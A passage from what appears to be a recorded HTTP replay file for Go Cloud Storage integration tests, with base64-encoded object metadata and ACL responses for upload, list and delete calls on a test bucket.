"eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wxLzE1NTY4MzU4NjQyNDgxNzAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9hY2wxIiwibmFtZSI6ImFjbDEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2NDI0ODE3MCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjI0LjI0N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoyNC4yNDdaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MjQuMjQ3WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiIwRTl0Rk5wWmowL1dLT0o2ZlY5cGF3PT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYWNsMT9nZW5lcmF0aW9uPTE1NTY4MzU4NjQyNDgxNzAmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMS8xNTU2ODM1ODY0MjQ4MTcwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2FjbDEvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImFjbDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2NDI0ODE3MCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDT3IrcGNYeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMS8xNTU2ODM1ODY0MjQ4MTcwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9hY2wxL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYWNsMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODY0MjQ4MTcwIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ09yK3BjWHgvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbDEvMTU1NjgzNTg2NDI0ODE3MC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYWNsMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImFjbDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2NDI0ODE3MCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDT3IrcGNYeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMS8xNTU2ODM1ODY0MjQ4MTcwL2RvbWFpbi1nb29nbGUuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYWNsMS9hY2wvZG9tYWluLWdvb2dsZS5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJhY2wxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NjQyNDgxNzAiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNPcitwY1h4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wxLzE1NTY4MzU4NjQyNDgxNzAvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2FjbDEvYWNsL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJhY2wxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NjQyNDgxNzAiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDT3IrcGNYeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IkZpRG1WZz09IiwiZXRhZyI6IkNPcitwY1h4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "1d3df0d90130f5fe", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJuYW1lIjoiYWNsMiJ9Cg==", - "HSHw5Wsm5u7iJL/jjKkPVQ==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3631" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:24 GMT" - ], - "Etag": [ - "CJrxw8Xx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpMl0_NB41LujALQWmul06CCiuw7okuKlhYG_qilsoXlld2qoYgc2-ABYogriA37QOJMK5ZlJ5sYzP2Mp7CTSzK9uccFLi10TdrGFMUjUpD0OvcXrE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wyLzE1NTY4MzU4NjQ3Mzc5NDYiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9hY2wyIiwibmFtZSI6ImFjbDIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2NDczNzk0NiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjI0LjczN1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoyNC43MzdaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MjQuNzM3WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJjOStPL3JnMjRIVEZCYytldFdqZWZnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYWNsMj9nZW5lcmF0aW9uPTE1NTY4MzU4NjQ3Mzc5NDYmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMi8xNTU2ODM1ODY0NzM3OTQ2L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2FjbDIvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImFjbDIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2NDczNzk0NiIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDSnJ4dzhYeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMi8xNTU2ODM1ODY0NzM3OTQ2L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9hY2wyL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYWNsMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODY0NzM3OTQ2IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0pyeHc4WHgvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbDIvMTU1NjgzNTg2NDczNzk0Ni9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYWNsMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImFjbDIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2NDczNzk0NiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDSnJ4dzhYeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMi8xNTU2ODM1ODY0NzM3OTQ2L2RvbWFpbi1nb29nbGUuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYWNsMi9hY2wvZG9tYWluLWdvb2dsZS5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJhY2wyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NjQ3Mzc5NDYiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNKcnh3OFh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wyLzE1NTY4MzU4NjQ3Mzc5NDYvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2FjbDIvYWNsL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJhY2wyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NjQ3Mzc5NDYiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSnJ4dzhYeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IkF0TlJ0QT09IiwiZXRhZyI6IkNKcnh3OFh4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "a270daf4f72d9d3d", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/acl1/acl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2767" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:25 GMT" - ], - "Etag": [ - "COr+pcXx/eECEAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:25 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UranlihhkPcnPzTT2UYs4r6Hritk60lULu-pzO6YX-EWIlMlFiXzKmxaZVgOcPfnCgfJsRktKsL_TbFun1PfupraBREfYklCvRXKvJ_526gW-Jf9zs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMS8xNTU2ODM1ODY0MjQ4MTcwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2FjbDEvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImFjbDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2NDI0ODE3MCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDT3IrcGNYeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMS8xNTU2ODM1ODY0MjQ4MTcwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9hY2wxL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYWNsMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODY0MjQ4MTcwIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ09yK3BjWHgvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbDEvMTU1NjgzNTg2NDI0ODE3MC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYWNsMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImFjbDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2NDI0ODE3MCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDT3IrcGNYeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsMS8xNTU2ODM1ODY0MjQ4MTcwL2RvbWFpbi1nb29nbGUuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYWNsMS9hY2wvZG9tYWluLWdvb2dsZS5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJhY2wxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NjQyNDgxNzAiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNPcitwY1h4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wxLzE1NTY4MzU4NjQyNDgxNzAvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2FjbDEvYWNsL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJhY2wxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NjQyNDgxNzAiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDT3IrcGNYeC9lRUNFQUU9In1dfQ==" - } - }, - { - "ID": "328125b2bc991e95", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/acl1/acl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 